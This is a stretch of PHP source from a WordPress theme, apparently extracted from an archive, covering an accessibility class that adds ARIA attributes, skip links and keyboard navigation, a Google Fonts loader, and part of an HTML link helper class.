		add_filter( 'get_search_form', [ $this, 'improve_search_form' ] );
		add_filter( 'comment_form_defaults', [ $this, 'improve_comment_form' ] );
		add_filter( 'post_thumbnail_html', [ $this, 'improve_featured_image_alt' ], 10, 5 );
		add_filter( 'gallery_style', [ $this, 'remove_inline_gallery_styles' ] );
		add_filter( 'img_caption_shortcode', [ $this, 'improve_caption_accessibility' ], 10, 3 );
		add_filter( 'dynamic_sidebar_params', [ $this, 'add_widget_aria_labels' ] );

		// Conditional original features
		if ( get_theme_mod( 'penci_accessibility_img_alt', false ) ) {
			add_filter( 'the_content', array( $this, 'fix_missing_alt_tags' ) );
			add_filter( 'widget_text', array( $this, 'fix_missing_alt_tags' ) );
			add_filter( 'get_the_excerpt', array( $this, 'fix_missing_alt_tags' ) );
		}

		if ( get_theme_mod( 'penci_accessibility_title_attr', false ) ) {
			add_filter( 'the_content', array( $this, 'add_missing_title_attributes' ) );
			add_filter( 'widget_text', array( $this, 'add_missing_title_attributes' ) );
			add_filter( 'get_the_excerpt', array( $this, 'add_missing_title_attributes' ) );
		}

		if ( get_theme_mod( 'penci_accessibility_key_prext', false ) ) {
			add_action( 'wp_footer', [ $this, 'inline_keyboard_navigation' ] );
		}

		// Enhanced features with theme mod conditions
		if ( get_theme_mod( 'penci_accessibility_enhanced_nav', true ) ) {
			add_action( 'wp_footer', [ $this, 'enhanced_keyboard_navigation' ] );
		}

		if ( get_theme_mod( 'penci_accessibility_aria_live', true ) ) {
			add_action( 'wp_footer', [ $this, 'add_live_regions' ] );
		}

		if ( get_theme_mod( 'penci_accessibility_form_labels', true ) ) {
			add_filter( 'wpcf7_form_elements', [ $this, 'improve_contact_form_labels' ] );
		}
	}

	/**
	 * Enqueue scripts and styles.
	 */
	public function enqueue_scripts() {
		if ( get_theme_mod( 'penci_accessibility_skiplinks', false ) ) {
			wp_enqueue_style( 'penci-accessibility', get_template_directory_uri() . '/css/accessibility.css', [], PENCI_SOLEDAD_VERSION );
		}
		
		// Enhanced accessibility assets
		if ( get_theme_mod( 'penci_accessibility_enhanced', true ) ) {
			wp_enqueue_script( 'penci-accessibility-js', get_template_directory_uri() . '/js/accessibility.js', ['jquery'], PENCI_SOLEDAD_VERSION, true );
			wp_localize_script( 'penci-accessibility-js', 'penciA11y', [
				'skipToContent' => __( 'Skip to main content', 'soledad' ),
				'skipToFooter' => __( 'Skip to footer', 'soledad' ),
				'menuExpanded' => __( 'Menu expanded', 'soledad' ),
				'menuCollapsed' => __( 'Menu collapsed', 'soledad' ),
				'searchLabel' => __( 'Search', 'soledad' ),
				'submitSearch' => __( 'Submit search', 'soledad' ),
			]);
		}
	}

	/**
	 * Add accessibility-related meta tags
	 */
	public function add_accessibility_meta() {
		echo '<meta name="color-scheme" content="light dark">' . "\n";
		
		// Add lang attribute to html element if not present
		if ( ! has_action( 'wp_head', 'wp_generator' ) ) {
			echo '<script>document.documentElement.setAttribute("lang", "' . esc_js( get_bloginfo('language') ) . '");</script>' . "\n";
		}
	}

	/**
	 * Add skiplinks to the head.
	 */
	public function add_skiplinks() {
		if ( get_theme_mod( 'penci_accessibility_skiplinks', false ) ) {
			$class = get_theme_mod( 'penci_accessibility_skiplinks_visible', false ) ? 'skip-link' : 'screen-reader-text skip-link';
			echo '<a href="#main" class="' . $class . '" tabindex="1">' . esc_html__( 'Skip to main content', 'soledad' ) . '</a>';
			echo '<a href="javascript:void(0)" class="skip-link" onclick="document.querySelector(\'.clear-footer\')?.scrollIntoView({ behavior: \'smooth\' });" tabindex="2">' . esc_html__( 'Skip to footer', 'soledad' ) . '</a>';
		}
	}

	/**
	 * Add ARIA attributes to navigation menu links
	 */
	public function add_menu_link_attributes( $atts, $item, $args ) {
		// Add aria-current for current page
		if ( in_array( 'current-menu-item', $item->classes ) ) {
			$atts['aria-current'] = 'page';
		}
		
		// Add aria-expanded for dropdown menus
		if ( in_array( 'menu-item-has-children', $item->classes ) ) {
			$atts['aria-expanded'] = 'false';
			$atts['aria-haspopup'] = 'true';
		}
		
		return $atts;
	}

	/**
	 * Add skip links to navigation menu
	 */
	public function add_skip_links_to_menu( $items, $args ) {
		if ( isset( $args->theme_location ) && $args->theme_location === 'primary' && get_theme_mod( 'penci_accessibility_skiplinks', false ) ) {
			$skip_links = '<li class="skip-link screen-reader-text menu-item">';
			$skip_links .= '<a href="#main" tabindex="1">' . esc_html__( 'Skip to main content', 'soledad' ) . '</a>';
			$skip_links .= '</li>';
			$items = $skip_links . $items;
		}
		return $items;
	}

	/**
	 * Improve content accessibility
	 */
	public function improve_content_accessibility( $content ) {
		if ( empty( $content ) ) {
			return $content;
		}

		// Add missing alt attributes to images that don't have them
		$content = preg_replace_callback(
			'/<img(?![^>]*alt=)[^>]*>/i',
			function( $matches ) {
				return str_replace( '<img', '<img alt=""', $matches[0] );
			},
			$content
		);
		
		// Improve table accessibility
		$content = preg_replace(
			'/<table(?![^>]*role=)/i',
			'<table role="table"',
			$content
		);
		
		// Add scope to table headers if missing
		$content = preg_replace(
			'/<th(?![^>]*scope=)/i',
			'<th scope="col"',
			$content
		);

		// Add role to lists if missing
		$content = preg_replace(
			'/<ul(?![^>]*role=)/i',
			'<ul role="list"',
			$content
		);

		$content = preg_replace(
			'/<ol(?![^>]*role=)/i',
			'<ol role="list"',
			$content
		);

		return $content;
	}

	/**
	 * Add ARIA labels to category lists
	 */
	public function add_category_aria_labels( $output ) {
		return str_replace( '<ul>', '<ul role="list" aria-label="' . esc_attr__( 'Categories', 'soledad' ) . '">', $output );
	}

	/**
	 * Improve search form accessibility
	 */
	public function improve_search_form( $form ) {
		// Add aria-label to search input
		$form = str_replace(
			'type="search"',
			'type="search" aria-label="' . esc_attr__( 'Search', 'soledad' ) . '"',
			$form
		);
		
		// Add aria-label to submit button
		$form = str_replace(
			'type="submit"',
			'type="submit" aria-label="' . esc_attr__( 'Submit search', 'soledad' ) . '"',
			$form
		);
		
		return $form;
	}

	/**
	 * Improve comment form accessibility
	 */
	public function improve_comment_form( $defaults ) {
		// Add aria-required and aria-describedby to required fields
		if ( isset( $defaults['fields']['author'] ) ) {
			$defaults['fields']['author'] = str_replace(
				'name="author"',
				'name="author" aria-required="true"',
				$defaults['fields']['author']
			);
		}
		
		if ( isset( $defaults['fields']['email'] ) ) {
			$defaults['fields']['email'] = str_replace(
				'name="email"',
				'name="email" aria-required="true"',
				$defaults['fields']['email']
			);
		}
		
		if ( isset( $defaults['comment_field'] ) ) {
			$defaults['comment_field'] = str_replace(
				'name="comment"',
				'name="comment" aria-required="true"',
				$defaults['comment_field']
			);
		}
		
		return $defaults;
	}

	/**
	 * Improve featured image alt text
	 */
	public function improve_featured_image_alt( $html, $post_id, $post_thumbnail_id, $size, $attr ) {
		if ( get_theme_mod( 'penci_accessibility_img_alt', false ) ) {
			$alt = get_post_meta( $post_thumbnail_id, '_wp_attachment_image_alt', true );
			
			if ( empty( $alt ) ) {
				$post_title = get_the_title( $post_id );
				$html = str_replace( 'alt=""', 'alt="' . esc_attr( $post_title ) . '"', $html );
			}
		}
		
		return $html;
	}

	/**
	 * Remove inline gallery styles
	 */
	public function remove_inline_gallery_styles() {
		return '';
	}

	/**
	 * Improve caption accessibility with proper figure/figcaption structure
	 */
	public function improve_caption_accessibility( $empty, $attr, $content ) {
		$id = isset( $attr['id'] ) ? 'attachment_' . $attr['id'] : '';
		$align = isset( $attr['align'] ) ? 'align' . $attr['align'] : '';
		$width = isset( $attr['width'] ) ? (int) $attr['width'] : '';
		$caption = isset( $attr['caption'] ) ? $attr['caption'] : '';
		
		if ( empty( $caption ) ) {
			return '';
		}
		
		$html = '<figure';
		if ( $id ) {
			$html .= ' id="' . esc_attr( $id ) . '"';
		}
		$html .= ' class="wp-caption ' . esc_attr( $align ) . '"';
		if ( $width ) {
			$html .= ' style="width: ' . $width . 'px"';
		}
		$html .= '>';
		
		$html .= do_shortcode( $content );
		$html .= '<figcaption class="wp-caption-text">' . $caption . '</figcaption>';
		$html .= '</figure>';
		
		return $html;
	}

	/**
	 * Add ARIA labels to widgets
	 */
	public function add_widget_aria_labels( $params ) {
		if ( isset( $params[0]['widget_name'] ) ) {
			$widget_name = $params[0]['widget_name'];
			$params[0]['before_widget'] = str_replace(
				'class="widget',
				'role="complementary" aria-label="' . esc_attr( $widget_name ) . '" class="widget',
				$params[0]['before_widget']
			);
		}
		return $params;
	}

	/**
	 * Add comprehensive focus styles and accessibility CSS
	 */
	public function add_focus_styles() {
		?>
		<style id="penci-accessibility-styles">
		/* Screen reader text utility */
		.screen-reader-text {
			border: 0;
			clip: rect(1px, 1px, 1px, 1px);
			clip-path: inset(50%);
			height: 1px;
			margin: -1px;
			overflow: hidden;
			padding: 0;
			position: absolute !important;
			width: 1px;
			word-wrap: normal !important;
		}
		
		.screen-reader-text:focus {
			background-color: #f1f1f1;
			border-radius: 3px;
			box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
			clip: auto !important;
			clip-path: none;
			color: #21759b;
			display: block;
			font-size: 14px;
			font-weight: bold;
			height: auto;
			left: 5px;
			line-height: normal;
			padding: 15px 23px 14px;
			text-decoration: none;
			top: 5px;
			width: auto;
			z-index: 100000;
		}
		
		/* Enhanced focus styles */
		<?php if ( get_theme_mod( 'penci_accessibility_focus', false ) ) : ?>
		.pc-acc-f a:focus,
		.pc-acc-f button:focus,
		.pc-acc-f input:focus,
		.pc-acc-f textarea:focus,
		.pc-acc-f select:focus,
		.pc-acc-f [tabindex]:focus {
			outline: 2px solid #005fcc !important;
			outline-offset: 2px !important;
			box-shadow: 0 0 0 2px rgba(0, 95, 204, 0.3) !important;
		}
		<?php endif; ?>
		
		/* Link underlines */
		<?php if ( get_theme_mod( 'penci_accessibility_underline', false ) ) : ?>
		.pc-acc-u a {
			text-decoration: underline !important;
		}
		<?php endif; ?>
		
		/* Disable animations */
		<?php if ( get_theme_mod( 'penci_accessibility_animate', false ) ) : ?>
		.pc-acc-animate-off *,
		.pc-acc-animate-off *::before,
		.pc-acc-animate-off *::after {
			animation-duration: 0.01ms !important;
			animation-iteration-count: 1 !important;
			transition-duration: 0.01ms !important;
			scroll-behavior: auto !important;
		}
		<?php endif; ?>
		
		/* Skip link positioning */
		.skip-link {
			position: absolute;
			left: -9999px;
			z-index: 999999;
		}
		
		.skip-link:focus,
		.skip-link:active {
			position: fixed;
			top: 10px;
			left: 10px;
			background: #000;
			color: #fff;
			padding: 8px 16px;
			text-decoration: none;
			border-radius: 3px;
		}
		
		/* High contrast mode support */
		@media (prefers-contrast: high) {
			* {
				border-color: ButtonText !important;
			}
		}
		
		/* Reduced motion support */
		@media (prefers-reduced-motion: reduce) {
			*,
			*::before,
			*::after {
				animation-duration: 0.01ms !important;
				animation-iteration-count: 1 !important;
				transition-duration: 0.01ms !important;
				scroll-behavior: auto !important;
			}
		}
		
		/* Live region for screen reader announcements */
		#penci-live-region {
			position: absolute;
			left: -10000px;
			width: 1px;
			height: 1px;
			overflow: hidden;
		}
		</style>
		<?php
	}

	/**
	 * Add comprehensive accessibility JavaScript
	 */
	public function add_accessibility_javascript() {
		if ( ! get_theme_mod( 'penci_accessibility_enhanced', true ) ) {
			return;
		}
		?>
		<script id="penci-accessibility-js">
		document.addEventListener('DOMContentLoaded', function() {
			// Keyboard navigation for dropdowns
			const menuItems = document.querySelectorAll('.menu-item-has-children > a');
			
			menuItems.forEach(function(item) {
				item.addEventListener('keydown', function(e) {
					if (e.key === 'Enter' || e.key === ' ') {
						e.preventDefault();
						const expanded = this.getAttribute('aria-expanded') === 'true';
						this.setAttribute('aria-expanded', !expanded);
						const submenu = this.nextElementSibling;
						if (submenu && submenu.classList.contains('sub-menu')) {
							submenu.style.display = expanded ? 'none' : 'block';
						}
						// Announce to screen readers
						announceToScreenReader(expanded ? 
							'<?php echo esc_js( __( 'Menu collapsed', 'soledad' ) ); ?>' : 
							'<?php echo esc_js( __( 'Menu expanded', 'soledad' ) ); ?>'
						);
					}
				});
			});
			
			// Focus management for modals and popups
			const focusableElements = 'button, [href], input, select, textarea, [tabindex]:not([tabindex="-1"])';
			
			function trapFocus(element) {
				const focusableContent = element.querySelectorAll(focusableElements);
				const firstFocusable = focusableContent[0];
				const lastFocusable = focusableContent[focusableContent.length - 1];
				
				element.addEventListener('keydown', function(e) {
					if (e.key === 'Tab') {
						if (e.shiftKey) {
							if (document.activeElement === firstFocusable) {
								lastFocusable.focus();
								e.preventDefault();
							}
						} else {
							if (document.activeElement === lastFocusable) {
								firstFocusable.focus();
								e.preventDefault();
							}
						}
					}
					
					// Escape key to close modal
					if (e.key === 'Escape') {
						const closeButton = element.querySelector('[data-dismiss], .close, .modal-close');
						if (closeButton) {
							closeButton.click();
						}
					}
				});
			}
			
			// Apply focus trap to modals
			document.querySelectorAll('.modal, .popup, .overlay').forEach(trapFocus);
			
			// Announce dynamic content changes to screen readers
			function announceToScreenReader(message) {
				const liveRegion = document.getElementById('penci-live-region');
				if (liveRegion) {
					liveRegion.textContent = message;
					setTimeout(function() {
						liveRegion.textContent = '';
					}, 1000);
				}
			}
			
			// Improve image loading announcements
			const images = document.querySelectorAll('img[data-src], img[loading="lazy"]');
			images.forEach(function(img) {
				img.addEventListener('load', function() {
					if (!this.alt) {
						this.alt = '<?php echo esc_js( __( 'Image loaded', 'soledad' ) ); ?>';
					}
				});
			});
			
			// Enhanced keyboard navigation for custom elements
			document.addEventListener('keydown', function(e) {
				// Handle custom dropdown toggles
				if (e.target.matches('[aria-expanded]') && (e.key === 'Enter' || e.key === ' ')) {
					e.preventDefault();
					e.target.click();
				}
				
				// Escape key handling for dropdowns
				if (e.key === 'Escape') {
					const openDropdowns = document.querySelectorAll('[aria-expanded="true"]');
					openDropdowns.forEach(function(dropdown) {
						dropdown.setAttribute('aria-expanded', 'false');
						dropdown.focus();
					});
				}
			});
			
			// Form validation announcements
			const forms = document.querySelectorAll('form');
			forms.forEach(function(form) {
				form.addEventListener('submit', function(e) {
					const requiredFields = form.querySelectorAll('[required], [aria-required="true"]');
					let hasErrors = false;
					
					requiredFields.forEach(function(field) {
						if (!field.value.trim()) {
							hasErrors = true;
							field.setAttribute('aria-invalid', 'true');
						} else {
							field.removeAttribute('aria-invalid');
						}
					});
					
					if (hasErrors) {
						announceToScreenReader('<?php echo esc_js( __( 'Please fill in all required fields', 'soledad' ) ); ?>');
					}
				});
			});
		});
		</script>
		<?php
	}

	/**
	 * Add live regions for screen reader announcements
	 */
	public function add_live_regions() {
		echo '<div id="penci-live-region" aria-live="polite" aria-atomic="true" class="screen-reader-text"></div>';
	}

	/**
	 * Enhanced keyboard navigation for post navigation
	 */
	public function enhanced_keyboard_navigation() {
		if ( is_single() ) {
			$prev_post = get_previous_post();
			$next_post = get_next_post();

			if ( $prev_post || $next_post ) {
				?>
				<script>
				jQuery(document).ready(function ($) {
					var prevUrl = <?php echo $prev_post ? '"' . esc_js( get_permalink( $prev_post->ID ) ) . '"' : 'null'; ?>;
					var nextUrl = <?php echo $next_post ? '"' . esc_js( get_permalink( $next_post->ID ) ) . '"' : 'null'; ?>;

					$(document).keydown(function (e) {
						// Ignore if user is typing in input fields or if alt/ctrl/meta keys are pressed
						if ($(e.target).is('input, textarea, select, [contenteditable]') || 
							e.altKey || e.ctrlKey || e.metaKey) {
							return;
						}

						switch (e.which) {
							case 37: // Left arrow
								if (prevUrl) {
									window.location.href = prevUrl;
								}
								break;
							case 39: // Right arrow
								if (nextUrl) {
									window.location.href = nextUrl;
								}
								break;
							case 72: // H key - go to homepage
								if (e.shiftKey) {
									window.location.href = '<?php echo esc_js( home_url( '/' ) ); ?>';
								}
								break;
						}
					});
				});
				</script>
				<?php
			}
		}
	}

	/**
	 * Improve Contact Form 7 accessibility
	 */
	public function improve_contact_form_labels( $form ) {
		// Add aria-required to required fields
		$form = str_replace(
			'[text* ',
			'[text* aria-required="true" ',
			$form
		);
		
		$form = str_replace(
			'[email* ',
			'[email* aria-required="true" ',
			$form
		);
		
		$form = str_replace(
			'[textarea* ',
			'[textarea* aria-required="true" ',
			$form
		);
		
		return $form;
	}

	// ========== ORIGINAL METHODS (Enhanced) ==========

	public function remove_tabindex( $content ) {
		if ( get_theme_mod( 'penci_accessibility_rm_tabindex', false ) ) {
			return preg_replace( '/tabindex="[^"]*"/', '', $content );
		}

		return $content;
	}

	public function body_class( $classes ) {
		if ( get_theme_mod( 'penci_accessibility_underline', false ) ) {
			$classes[] = 'pc-acc-u';
		}
		if ( get_theme_mod( 'penci_accessibility_focus', false ) ) {
			$classes[] = 'pc-acc-f';
		}
		if ( get_theme_mod( 'penci_accessibility_animate', false ) ) {
			$classes[] = 'pc-acc-animate-off';
		}
		
		// Add general accessibility class
		if ( get_theme_mod( 'penci_accessibility_enhanced', true ) ) {
			$classes[] = 'pc-acc-enhanced';
		}

		return $classes;
	}

	public function fix_missing_alt_tags( $content ) {
		if ( empty( $content ) ) {
			return $content;
		}

		// Use DOMDocument for proper HTML parsing
		$dom = new DOMDocument();
		libxml_use_internal_errors( true );
		$dom->loadHTML( mb_convert_encoding( $content, 'HTML-ENTITIES', 'UTF-8' ), LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD );
		libxml_clear_errors();

		$images   = $dom->getElementsByTagName( 'img' );
		$modified = false;

		foreach ( $images as $img ) {
			if ( ! $img->hasAttribute( 'alt' ) ) {
				$alt_text = $this->generate_alt_text( $img );
				$img->setAttribute( 'alt', $alt_text );
				$modified = true;
			}
		}

		if ( $modified ) {
			return $dom->saveHTML();
		}

		return $content;
	}

	public function generate_alt_text( $img ) {
		// Try to get alt text from various sources
		$alt_sources = array(
			$img->getAttribute( 'title' ),
			$img->getAttribute( 'data-caption' ),
			$this->get_filename_alt( $img->getAttribute( 'src' ) ),
			__( 'Image', 'soledad' ) // Fallback with translation
		);

		foreach ( $alt_sources as $alt ) {
			if ( ! empty( trim( $alt ) ) ) {
				return $this->clean_alt_text( $alt );
			}
		}

		return __( 'Image', 'soledad' );
	}

	public function get_filename_alt( $src ) {
		if ( empty( $src ) ) {
			return '';
		}

		$filename = basename( $src );
		$name     = pathinfo( $filename, PATHINFO_FILENAME );

		// Clean up filename to make it readable
		$name = str_replace( array( '-', '_' ), ' ', $name );
		$name = preg_replace( '/[0-9]+/', '', $name ); // Remove numbers
		$name = trim( $name );

		return ucwords( $name );
	}

	public function clean_alt_text( $alt ) {
		$alt = strip_tags( $alt );
		$alt = html_entity_decode( $alt );
		$alt = trim( $alt );
		$alt = substr( $alt, 0, 125 ); // Keep alt text reasonable length

		return $alt;
	}

	public function add_missing_title_attributes( $content ) {
		// Add title attributes to img tags
		$content = $this->add_title_to_images( $content );

		// Add title attributes to anchor tags
		$content = $this->add_title_to_links( $content );

		return $content;
	}

	public function add_title_to_images( $content ) {
		// Pattern to match img tags without title attribute
		$pattern = '/<img([^>]*?)(?<!title=)(?!\s*title\s*=)([^>]*?)>/i';

		return preg_replace_callback( $pattern, function ( $matches ) {
			$img_tag = $matches[0];

			// Extract alt text if exists
			preg_match( '/alt=["\']([^"\']*)["\']/', $img_tag, $alt_matches );
			$alt_text = isset( $alt_matches[1] ) ? $alt_matches[1] : '';

			// Extract src for filename fallback
			preg_match( '/src=["\']([^"\']*)["\']/', $img_tag, $src_matches );
			$src = isset( $src_matches[1] ) ? $src_matches[1] : '';

			// Determine title text
			$title_text = '';
			if ( ! empty( $alt_text ) ) {
				$title_text = $alt_text;
			} elseif ( ! empty( $src ) ) {
				// Use filename without extension as fallback
				$filename   = pathinfo( $src, PATHINFO_FILENAME );
				$title_text = ucwords( str_replace( [ '-', '_' ], ' ', $filename ) );
			}

			// Add title attribute if we have text
			if ( ! empty( $title_text ) ) {
				$title_text = esc_attr( $title_text );
				// Insert title attribute before the closing >
				$img_tag = str_replace( '>', ' title="' . $title_text . '">', $img_tag );
			}

			return $img_tag;
		}, $content );
	}

	public function add_title_to_links( $content ) {
		// Pattern to match anchor tags without title attribute
		$pattern = '/<a([^>]*?)(?<!title=)(?!\s*title\s*=)([^>]*?)>(.*?)<\/a>/i';

		return preg_replace_callback( $pattern, function ( $matches ) {
			$full_match      = $matches[0];
			$link_attributes = $matches[1] . $matches[2];
			$link_text       = $matches[3];

			// Extract href for external link detection
			preg_match( '/href=["\']([^"\']*)["\']/', $full_match, $href_matches );
			$href = isset( $href_matches[1] ) ? $href_matches[1] : '';

			// Determine title text
			$title_text = '';

			// Strip HTML tags from link text for title
			$clean_link_text = strip_tags( $link_text );
			$clean_link_text = trim( $clean_link_text );

			if ( ! empty( $clean_link_text ) ) {
				$title_text = $clean_link_text;
			} elseif ( ! empty( $href ) ) {
				// For empty link text, use URL as fallback
				$title_text = __( 'Link to: ', 'soledad' ) . $href;
			}

			// Add additional context for external links
			if ( ! empty( $href ) && $this->is_external_link( $href ) ) {
				$title_text .= ' ' . __( '(opens in new window)', 'soledad' );
			}

			// Add title attribute if we have text
			if ( ! empty( $title_text ) ) {
				$title_text = esc_attr( $title_text );
				$new_link   = '<a' . $link_attributes . ' title="' . $title_text . '">' . $link_text . '</a>';

				return $new_link;
			}

			return $full_match;
		}, $content );
	}

	public function is_external_link( $url ) {
		$site_url    = home_url();
		$site_domain = parse_url( $site_url, PHP_URL_HOST );
		$link_domain = parse_url( $url, PHP_URL_HOST );

		// If no domain in link (relative URL), it's internal
		if ( empty( $link_domain ) ) {
			return false;
		}

		return $site_domain !== $link_domain;
	}

	public function inline_keyboard_navigation() {
		if ( is_single() ) {
			$prev_post = get_previous_post();
			$next_post = get_next_post();

			if ( $prev_post || $next_post ) {
				?>
				<script>
				jQuery(document).ready(function ($) {
					var prevUrl = <?php echo $prev_post ? '"' . esc_js( get_permalink( $prev_post->ID ) ) . '"' : 'null'; ?>;
					var nextUrl = <?php echo $next_post ? '"' . esc_js( get_permalink( $next_post->ID ) ) . '"' : 'null'; ?>;

					$(document).keydown(function (e) {
						// Ignore if user is typing in input fields
						if ($(e.target).is('input, textarea, select')) {
							return;
						}

						switch (e.which) {
							case 37: // Left arrow
								if (prevUrl) {
									window.location.href = prevUrl;
								}
								break;
							case 39: // Right arrow
								if (nextUrl) {
									window.location.href = nextUrl;
								}
								break;
						}
					});
				});
				</script>
				<?php
			}
		}
	}

} // End of class PenciAccessibility

// Initialize the accessibility class
new PenciAccessibility();PK     1w\AV)  )    fonts_loader.phpnu [        <?php

/**
 * Register Fonts
 *
 * @since 4.0
 */
if ( ! function_exists( 'penci_fonts_url' ) ) {
	function penci_fonts_url( $data = 'normal' ) {
		$font_url = '';

		$array_fonts       = $array_fonts_data = array();
		$array_get         = array();
		$array_options     = array();
		$array_earlyaccess = array();
		$exlude_fonts      = array_merge( penci_get_custom_fonts(), penci_font_browser() );
		$exlude_fonts      = apply_filters( 'penci_exlude_fonts_css', $exlude_fonts );


		if ( ! get_theme_mod( 'penci_font_for_title' ) ) {
			$array_fonts = array_merge( $array_fonts, array( 'Raleway' ) );
		} else {
			$array_options[] = get_theme_mod( 'penci_font_for_title' );
		}
		if ( get_theme_mod( 'penci_font_for_body' ) ) {
			$array_options[] = get_theme_mod( 'penci_font_for_body' );
		} else {
			$array_fonts = array_merge( $array_fonts, array( 'PT Serif' ) );
		}
		if ( get_theme_mod( 'penci_font_for_slogan' ) ) {
			$array_options[] = get_theme_mod( 'penci_font_for_slogan' );
		}
		if ( get_theme_mod( 'penci_font_for_menu' ) ) {
			$array_options[] = get_theme_mod( 'penci_font_for_menu' );
		}

		$array_options = array_diff( $array_options, $exlude_fonts );

		if ( ! empty( $array_options ) ) {

			foreach ( $array_options as $font ) {
				$font_family       = str_replace( '"', '', $font );
				$font_family_explo = explode( ', ', $font_family );
				$array_get[]       = isset( $font_family_explo[0] ) ? $font_family_explo[0] : '';
			}

			$array_end        = array_unique( array_merge( $array_fonts, $array_get ), SORT_REGULAR );
			$array_fonts_data = $array_end;

			if ( ! empty( $array_end ) ) {
				$string_end = implode( ':300,300italic,400,400italic,500,500italic,700,700italic,800,800italic|', $array_end );

				if ( $string_end == '-apple-system' ) {
					return;
				}

				/*
					Translators: If there are characters in your language that are not supported
					by chosen font(s), translate this to 'off'. Do not translate into your own language.
				*/
				if ( 'off' !== _x( 'on', 'Google font: on or off', 'soledad' ) ) {
					$font_url = add_query_arg(
						array(
							'family'  => urlencode( $string_end . ':300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic&subset=latin,cyrillic,cyrillic-ext,greek,greek-ext,latin-ext' ),
							'display' => 'swap',
						),
						'https://fonts.googleapis.com/css'
					);
				}
			}
		}

		if ( $data == 'normalarray' ) {
			return $array_fonts_data;
		} elseif ( $data == 'earlyaccess' ) {
			return $array_earlyaccess;
		} else {
			return $font_url;
		}
	}
}

if ( ! function_exists( 'penci_mobile_fonts_url' ) ) {
	function penci_mobile_fonts_url( $data = 'normal' ) {

		if ( ! get_theme_mod( 'penci_font_for_title_mobile' ) && ! get_theme_mod( 'penci_font_for_body_mobile' ) && ! get_theme_mod( 'penci_font_for_menu_mobile' ) ) {
			return '';
		}
		$font_url = '';

		$array_fonts       = $array_fonts_data = array();
		$array_get         = array();
		$array_options     = array();
		$array_earlyaccess = array();
		$exlude_fonts      = array_merge( penci_get_custom_fonts(), penci_font_browser() );
		$exlude_fonts      = apply_filters( 'penci_exlude_fonts_css', $exlude_fonts );

		if ( ! get_theme_mod( 'penci_font_for_title_mobile' ) ) {
			$array_fonts = array_merge( $array_fonts, array( 'Raleway' ) );
		} else {
			$array_options[] = get_theme_mod( 'penci_font_for_title_mobile' );
		}
		if ( get_theme_mod( 'penci_font_for_body_mobile' ) ) {
			$array_options[] = get_theme_mod( 'penci_font_for_body_mobile' );
		} else {
			$array_fonts = array_merge( $array_fonts, array( 'PT Serif' ) );
		}
		if ( get_theme_mod( 'penci_font_for_menu_mobile' ) ) {
			$array_options[] = get_theme_mod( 'penci_font_for_menu_mobile' );
		}

		$array_options = array_diff( $array_options, $exlude_fonts );

		if ( ! empty( $array_options ) ) {

			foreach ( $array_options as $font ) {
				$font_family       = str_replace( '"', '', $font );
				$font_family_explo = explode( ', ', $font_family );
				$array_get[]       = isset( $font_family_explo[0] ) ? $font_family_explo[0] : '';
			}

			$array_end        = array_unique( array_merge( $array_fonts, $array_get ), SORT_REGULAR );
			$array_fonts_data = $array_end;

			if ( ! empty( $array_end ) ) {
				$string_end = implode( ':300,300italic,400,400italic,500,500italic,700,700italic,800,800italic|', $array_end );

				/*
					Translators: If there are characters in your language that are not supported
					by chosen font(s), translate this to 'off'. Do not translate into your own language.
				*/
				if ( 'off' !== _x( 'on', 'Google font: on or off', 'soledad' ) ) {
					$font_url = add_query_arg(
						array(
							'family'  => urlencode( $string_end . ':300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic&subset=latin,cyrillic,cyrillic-ext,greek,greek-ext,latin-ext' ),
							'display' => 'swap',
						),
						'https://fonts.googleapis.com/css'
					);
				}
			}
		}

		if ( $data == 'normalarray' ) {
			return $array_fonts_data;
		} elseif ( $data == 'earlyaccess' ) {
			return $array_earlyaccess;
		} else {
			return $font_url;
		}
	}
}
PK     1w\D*      links/link_html.phpnu [        <?php

class Penci_Links_HTML {

	/**
	 * @var string
	 */
	private $tag_name = null;

	/**
	 * @var string
	 */
	private $content = null;

	/**
	 * @var array
	 */
	private $atts = array();

	/**
	 * @param string $tag_name
	 * @param string $content Optional
	 */
	public function __construct( $tag_name, $content = null ) {
		$this->tag_name = $tag_name;
		$this->content  = $content;
	}

	/**
	 * @param string $content
	 */
	public function set_content( $content ) {
		$this->content = $content;
	}

	/**
	 * @return string
	 */
	public function get_content() {
		return $this->content;
	}

	/**
	 * Set attributes
	 *
	 * @param array|string $atts
	 */
	public function set_atts( $atts ) {
		if ( is_string( $atts ) ) {
			$this->atts = $this->parse_atts( $atts );
		} else if ( is_array( $atts ) ) {
			$this->atts = $atts;
		}
	}

	/**
	 * @return string
	 */
	public function get_tag_name() {
		return $this->tag_name;
	}

	/**
	 * @param string $name
	 *
	 * @return string|null
	 */
	public function get_attr( $name ) {
		if ( ! isset( $this->atts[ $name ] ) ) {
			return null;
		}

		return $this->atts[ $name ];
	}

	/**
	 * @param string $name
	 * @param string $value Optional
	 */
	public function set_attr( $name, $value = null ) {
		$this->atts[ $name ] = $value;
	}

	/**
	 * @param string $name
	 *
	 * @return boolean
	 */
	public function has_attr( $name ) {
		return isset( $this->atts[ $name ] );
	}

	/**
	 * @param string $name
	 */
	public function remove_attr( $name ) {
		unset( $this->atts[ $name ] );
	}

	/**
	 * @param string $name
	 * @param string $value
	 *
	 * @return boolean
	 */
	public function has_attr_value( $name, $value ) {
		if ( ! $this->has_attr( $name ) ) {
			return false;
		}

		$attr_values = explode( ' ', $this->get_attr( $name ) );

		return in_array( $value, $attr_values );
	}

	/**
	 * @param string $name
	 * @param string $value
	 *
	 * @return void
	 */
	public function add_to_attr( $name, $value ) {
		if ( empty( $this->atts[ $name ] ) ) {
			$this->set_attr( $name, $value );

			return;
		}

		if ( $this->has_attr_value( $name, $value ) ) {
			return;
		}

		$this->atts[ $name ] .= ' ' . $value;
	}

	/**
	 * @param string $name
	 * @param string $value
	 *
	 * @return void
	 */
	public function remove_from_attr( $name, $value ) {
		if ( ! $this->has_attr_value( $name, $value ) ) {
			return;
		}

		$attr_values     = explode( ' ', $this->atts[ $name ] );
		$new_attr_values = array_diff( $attr_values, array( $value ) );

		$this->atts[ $name ] = implode( ' ', $new_attr_values );
	}

	/**
	 * @return string
	 */
	public function get_html( $escape_content = true ) {
		$link = '<' . esc_attr( $this->tag_name );

		foreach ( $this->atts as $key => $value ) {
			if ( null === $value ) {
				$link .= ' ' . $key;
			} else {
				$link .= ' ' . esc_attr( $key ) . '="' . esc_attr( $value ) . '"';
			}
		}

